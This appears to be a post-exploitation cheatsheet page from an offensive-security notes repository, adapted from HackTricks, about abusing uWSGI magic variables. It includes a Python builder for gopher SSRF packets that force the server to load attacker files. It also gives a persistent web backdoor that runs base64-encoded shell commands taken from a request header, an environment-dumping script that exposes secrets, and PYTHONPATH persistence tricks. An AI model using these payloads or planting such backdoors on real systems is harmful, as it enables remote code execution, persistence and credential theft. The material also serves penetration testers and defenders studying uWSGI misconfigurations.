daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

wsgi.md (10239B)


      1 ---
      2 title: "WSGI Post-Exploitation Tricks"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/wsgi.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/wsgi.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # WSGI Post-Exploitation Tricks
     14 
     15 ## WSGI Overview
     16 
     17 Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters ("uwsgi params") to the backend application server.
     18 
     19 Related pages you may also want to check:
     20 
     21 [Werkzeug](/hacktricks/network-services-pentesting/pentesting-web/werkzeug)
     22 
     23 [Readme](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview)
     24 
     25 ## uWSGI Magic Variables Exploitation
     26 
     27 uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.<sup>[[1]](#references)[[3]](#references)</sup>
     28 
     29 ### Dangerous mappings in front proxies (nginx example)
     30 
     31 Misconfigurations like the following directly expose uWSGI magic variables to user input:
     32 
     33 ```text
     34 location /app/ {
     35   include uwsgi_params;
     36   # DANGEROUS: maps query args into uwsgi params
     37   uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
     38   uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
     39   uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
     40   uwsgi_pass unix:/run/uwsgi/app.sock;
     41 }
     42 ```
     43 
     44 If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module.
     45 
     46 ### Key Exploitable Variables
     47 
     48 #### `UWSGI_FILE` - Arbitrary File Load/Execute
     49 
     50 ```text
     51 uwsgi_param UWSGI_FILE /path/to/python/file.py;
     52 ```
     53 Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE).
     54 
     55 #### `UWSGI_SCRIPT` - Script Loading
     56 ```text
     57 uwsgi_param UWSGI_SCRIPT module.path:callable;
     58 uwsgi_param SCRIPT_NAME /endpoint;
     59 ```
     60 Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.
     61 
     62 #### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
     63 ```text
     64 uwsgi_param UWSGI_MODULE malicious.module;
     65 uwsgi_param UWSGI_CALLABLE evil_function;
     66 uwsgi_param SCRIPT_NAME /backdoor;
     67 ```
     68 These parameters allow loading arbitrary Python modules and calling specific functions within them.
     69 
     70 #### `UWSGI_SETENV` - Environment Variable Manipulation
     71 ```text
     72 uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
     73 ```
     74 Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.
     75 
     76 #### `UWSGI_PYHOME` - Python Environment Manipulation
     77 ```text
     78 uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
     79 ```
     80 Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
     81 
     82 #### `UWSGI_CHDIR` - Directory Change
     83 ```text
     84 uwsgi_param UWSGI_CHDIR /etc/;
     85 ```
     86 Changes the working directory before processing requests and may be combined with other features.
     87 
     88 ## SSRF + uwsgi protocol (gopher) pivot
     89 
     90 ### Threat model
     91 
     92 If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, `socket = 127.0.0.1:3031`), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables.
     93 
     94 This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like `UWSGI_FILE`.<sup>[[2]](#references)</sup>
     95 
     96 ### uWSGI protocol structure (quick reference)
     97 
     98 - Header (4 bytes): `modifier1` (1 byte), `datasize` (2 bytes little-endian), `modifier2` (1 byte)
     99 - Body: sequence of `[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]`
    100 
    101 For standard requests `modifier1` is 0. The body contains uwsgi params such as `SERVER_PROTOCOL`, `REQUEST_METHOD`, `PATH_INFO`, `UWSGI_FILE`, etc. See the official protocol spec for full details.<sup>[[4]](#references)</sup>
    102 
    103 ### Minimal packet builder (generate gopher payload)
    104 
    105 ```python
    106 import struct, urllib.parse
    107 
    108 def uwsgi_gopher_url(host, port, params):
    109     body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
    110     pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
    111     return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
    112 
    113 # Example URL:
    114 gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
    115 ```
    116 
    117 Example usage to force-load a file previously written on the server:
    118 
    119 ```python
    120 params = {
    121   'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
    122   'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
    123 }
    124 print(uwsgi_gopher_url('127.0.0.1', 3031, params))
    125 ```
    126 
    127 Send the generated URL through the SSRF sink.
    128 
    129 ### Worked example
    130 
    131 If you can write a python file on disk (the extension doesn’t matter) with code like:
    132 ```python
    133 # /app/profiles/malicious.py
    134 import os
    135 os.system('/readflag > /app/profiles/result.txt')
    136 
    137 def application(environ, start_response):
    138     start_response('200 OK', [('Content-Type','text/plain')])
    139     return [b'ok']
    140 ```
    141 Generate and trigger a gopher payload that sets `UWSGI_FILE` to this path. The backend will import and execute it as a WSGI app.
    142 
    143 ## Post-Exploitation Techniques
    144 
    145 ### 1. Persistent Backdoors
    146 
    147 #### File-based Backdoor
    148 ```python
    149 # backdoor.py
    150 import subprocess, base64
    151 
    152 def application(environ, start_response):
    153     cmd = environ.get('HTTP_X_CMD', '')
    154     if cmd:
    155         result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
    156         response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
    157     else:
    158         response = 'Backdoor active'
    159     start_response('200 OK', [('Content-Type', 'text/plain')])
    160     return [response.encode()]
    161 ```
    162 Load it with `UWSGI_FILE` and reach it under a chosen `SCRIPT_NAME`.
    163 
    164 #### Environment-based Persistence
    165 ```text
    166 uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
    167 ```
    168 
    169 ### 2. Information Disclosure
    170 
    171 #### Environment Variable Dumping
    172 ```python
    173 # env_dump.py
    174 import os, json
    175 
    176 def application(environ, start_response):
    177     env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
    178     start_response('200 OK', [('Content-Type', 'application/json')])
    179     return [json.dumps(env_data, indent=2).encode()]
    180 ```
    181 
    182 #### File System Access
    183 Combine `UWSGI_CHDIR` with a file-serving helper to browse sensitive directories.
    184 
    185 ### 3. Privilege Escalation ideas
    186 
    187 - If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state.
    188 - Overriding configuration via environment (`UWSGI_*`) inside a file loaded through `UWSGI_FILE` can affect process model and workers to make persistence stealthier.
    189 
    190 ```python
    191 # malicious_config.py
    192 import os
    193 
    194 # Override uWSGI configuration
    195 os.environ['UWSGI_MASTER'] = '1'
    196 os.environ['UWSGI_PROCESSES'] = '1'
    197 os.environ['UWSGI_CHEAPER'] = '1'
    198 ```
    199 
    200 ## Reverse-proxy desync issues relevant to uWSGI chains (recent)
    201 
    202 Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
    203 
    204 - CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.<sup>[[6]](#references)</sup>
    205 - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”<sup>[[5]](#references)</sup>
    206 
    207 These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
    208 
    209 ## References
    210 
    211 - [1] [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
    212 - [2] [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
    213 - [3] [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
    214 - [4] [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html)
    215 - [5] [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html)
    216 - [6] [CVE-2023-27522 — Apache HTTP Server mod_proxy_uwsgi HTTP Response Smuggling](https://nvd.nist.gov/vuln/detail/CVE-2023-27522)